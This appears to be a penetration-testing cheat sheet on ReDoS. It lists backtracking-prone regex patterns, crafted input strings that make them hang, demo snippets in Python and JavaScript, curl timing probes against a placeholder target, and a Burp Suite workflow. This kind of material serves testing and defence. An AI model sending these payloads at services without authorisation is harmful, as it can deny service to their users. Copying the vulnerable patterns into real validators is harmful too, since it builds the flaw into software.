ReDoS (Regular Expression Denial of Service)

What is ReDoS

ReDoS exploits catastrophic backtracking in regular expression engines. When a regex with nested quantifiers ((a+)+, (a|aa)+) is matched against a crafted input, the engine may take exponential time to determine a non-match — causing a server-side thread/process to hang for seconds or minutes per request.

---

Vulnerable Regex Patterns

Patterns susceptible to catastrophic backtracking:

(a+)+           — nested quantifiers
(a|a)+          — alternation with overlap
(a*)*           — star on quantified group
([a-z]+)*       — quantified class in group
(\w+\s+)+       — common in email/text validation
^(\w+\s?)*$     — evil "polynomial" pattern
(a+b?)*         — optional in quantified group

Examples of vulnerable “looks-safe” patterns:

# Email validation
^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$

# URL validation
^(https?://)?([a-z0-9-]+\.)+[a-z]{2,}(/[^\s]*)?$

# Common log parser
(\d+\.)+\d+

---

Detection

Step 1 — Find user input passed to regex

Look for input fields that trigger server-side validation:

• Email validation
• URL validation
• Username format checks
• Phone number / postcode validation
• Search with pattern matching

Step 2 — Craft a ReDoS payload

For a pattern like ^([a-z]+)+$:

# Benign input
aaaaaaaaaa

# ReDoS trigger — 'a' repeated followed by a non-matching char
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

Each additional a roughly doubles the processing time (exponential backtracking).

Step 3 — Measure response time

In Burp Repeater, send requests with increasing payload lengths and measure the response time:

Input	Length	Response time
a!	2	1ms
aaaa!	5	1ms
aaaaaaaaaaa!	12	100ms
aaaaaaaaaaaaaaaaaaa!	20	2s
aaaaaaaaaaaaaaaaaaaaaaaaaaa!	28	30s

Exponential growth in response time confirms ReDoS.

---

Generating ReDoS Payloads

For ^(\w+\s?)*$ pattern

# Trigger: many word chars followed by invalid char
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

For ^(([a-z])+.)+[A-Z]([a-z])+$ (email-like)

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@

For ^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*@ (email validation)

aaaaaaaaaaaaaaaaaaaaaaaaaaaa@

Using vuln.regex.redos.io

Test a pattern online: submit the regex and get the worst-case payload generated automatically.

---

Server-Side ReDoS

Targeting Node.js, Python, PHP, Ruby, Java regex engines:

# Python re module — vulnerable to catastrophic backtracking
import re, time
pattern = re.compile(r'^(a+)+$')
start = time.time()
pattern.match('a' * 30 + '!')
print(f'Time: {time.time() - start:.2f}s')

---

Client-Side ReDoS

Targeting browser JavaScript regex — causes the browser tab to hang:

// In a form's validation handler:
const regex = /^(\w+\s?)*$/;
regex.test('a'.repeat(35) + '!');  // Browser hangs

If the app uses client-side regex that can be triggered via URL parameters or user input → browser-side DoS.

---

Blind ReDoS Detection

When you can’t see errors but can measure time:

# Send benign vs malicious payload and compare times
# Benign (fast)
curl -s -o /dev/null -w "%{time_total}" \
  -d 'email=test@example.com' http://TARGET/register

# Malicious (slow)
curl -s -o /dev/null -w "%{time_total}" \
  -d 'email=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@' http://TARGET/register

A significant time difference (10x+) confirms server-side regex processing.

---

Tools

# vuln-regex-detector — test if a regex is vulnerable
git clone https://github.com/nicowillis/vuln-regex-detector
node check-regex.js '(a+)+'

# RXXR2 — static ReDoS detector
# https://github.com/NicolaasWeideman/RegexStaticAnalysis

# regex-generator — generate ReDoS payload for a given regex
pip install redos-checker

---

Burp Suite workflow

1. Proxy — identify inputs with server-side validation (email, URL, username).
2. Repeater — send increasing-length payloads (a*30 + !, a*35 + !) and measure response time using Burp’s built-in timer.
3. Intruder — send payloads of length 10, 20, 30, 40 in Sniper mode; graph response times to confirm exponential growth.
4. Collaborator — not needed for ReDoS (timing-based); use Repeater timer directly.